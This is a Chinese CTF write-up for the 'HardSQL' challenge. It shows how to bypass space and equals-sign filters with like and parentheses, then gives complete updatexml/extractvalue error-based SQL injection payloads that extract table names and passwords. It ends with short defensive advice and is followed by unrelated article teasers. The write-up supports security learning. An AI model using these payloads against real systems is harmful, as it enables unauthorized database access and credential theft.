news 2026/5/31 4:40:57

当空格和等号都被过滤:手把手教你用like和括号绕过限制,拿下[极客大挑战 2019]HardSQL 1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
当空格和等号都被过滤:手把手教你用like和括号绕过限制,拿下[极客大挑战 2019]HardSQL 1

当空格和等号都被过滤:突破SQL注入限制的实战指南

登录页面显示"这群该死的黑客竟然如此厉害",看来管理员已经对常见注入方式做了严格防护。但安全防护从来不是铁板一块,今天我们就来破解这个看似严密的防御系统。

1. 注入环境分析与过滤规则探测

面对一个未知的注入环境,第一步永远是摸清过滤规则。在本次挑战中,我们注意到几个关键特征:

  • 基础测试1' or '1'='1被拦截,说明存在关键词过滤
  • 使用admin 1' or测试时,发现空格字符被过滤
  • 等号(=)同样出现在黑名单中

通过系统化的fuzz测试,我们整理出完整的过滤清单:

被过滤字符/关键词替代方案
空格使用括号()包裹
=使用like操作符
--+使用#注释
/**/使用括号分隔
union尝试报错注入
by调整查询结构

关键发现like操作符和括号()未被过滤,这将成为我们的突破口。

2. 基础绕过技术:重构查询语句

当传统注入方式失效时,我们需要重新构建查询逻辑。以下是重构后的万能密码方案:

1'or((1)like(1))#

这个语句的精妙之处在于:

  1. 用括号()替代空格分隔语句成分
  2. like操作符替代被过滤的等号
  3. #作为注释符确保语句完整执行

实际操作中,我们发现这种构造成功绕过了过滤机制,返回了正常登录响应。但作为安全研究者,我们不应止步于简单登录,而要深入挖掘数据。

3. 进阶注入:报错注入技术详解

当联合注入和堆叠注入都被封堵时,报错注入往往能打开新局面。MySQL提供了两个基于XML的报错函数:

  • updatexml():用于查询和修改XML文档
  • extractvalue():用于查询XML文档

它们的共同特点是:当XPath格式错误时,会返回包含错误信息的报错消息——这正是我们需要的。

3.1 updatexml()实战应用

让我们从获取数据库名称开始:

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

这段代码中:

  • 0x7e是波浪号(~)的十六进制,用于标记输出
  • concat()函数组合错误信息
  • 括号确保绕过空格限制

成功执行后,我们获得了数据库名geek。接下来获取表名:

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

这里需要注意:

  1. like替代等号比较
  2. 用括号包裹所有可能包含空格的子句
  3. group_concat()合并多行结果

3.2 处理输出长度限制

报错注入的一个限制是输出长度(通常32字符)。解决方案是使用字符串截取函数:

1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

这里right()函数从右侧截取25个字符,配合前段查询结果,最终拼接出完整flag。

4. 替代方案:extractvalue()的巧妙应用

除了updatexml,extractvalue同样有效且语法相似。有趣的是,我们可以用异或操作符^绕过or限制:

1'^extractvalue(1,concat(0x7e,(select(database()))))#

这种方法与括号绕过的区别在于:

  • ^优先级高于or,改变语句执行顺序
  • 不需要依赖like操作符
  • 在某些过滤规则下可能更有效

完整的数据提取流程如下:

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))# 1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))# 1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#

5. 防御视角:从攻击中学习防护

完成挑战后,我们不妨从防御者角度思考如何加固系统:

  1. 参数化查询:使用预编译语句彻底杜绝注入
  2. 多层过滤:不仅过滤关键词,还要检测异常语法结构
  3. 错误处理:自定义错误信息,避免泄露系统细节
  4. 最小权限:数据库账户仅授予必要权限

在真实环境中,这些技术组合使用才能构建有效防护。CTF题目往往只展示特定场景,而实际防御需要全面考量。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/31 4:39:53

基于RAG的智能提案生成系统:从原理到工程实践

1. 项目概述:从想法到开源,一个自动提案生成LLM的诞生最近在和一些做咨询、市场以及销售的朋友聊天时,大家普遍提到一个痛点:写一份结构清晰、论据充分、有说服力的商业提案或项目计划书,实在是太耗时了。这活儿既需要…

作者头像 李华
网站建设 2026/5/31 4:32:16

揭秘电子产品从概念到量产的“加速器”!

在电子产品更新迭代飞速的今天,从一个新颖的设计理念,到最终一块能稳定运行、批量生产的PCBA,中间隔着千山万水。选择一家优秀的PCBA加工伙伴,对产品能否快速、高质量、低成本落地,几乎起着决定性作用。你是否也曾遭遇…

作者头像 李华
网站建设 2026/5/31 4:28:15

UniApp App端自定义UserAgent实战:从基础设置到高级应用场景

UniApp App端自定义UserAgent实战:从基础设置到高级应用场景在移动应用开发中,UserAgent(用户代理)是一个经常被忽视但极其重要的HTTP请求头。它不仅是服务器识别客户端设备的基础,更是开发者实现精细化运营、数据分析…

作者头像 李华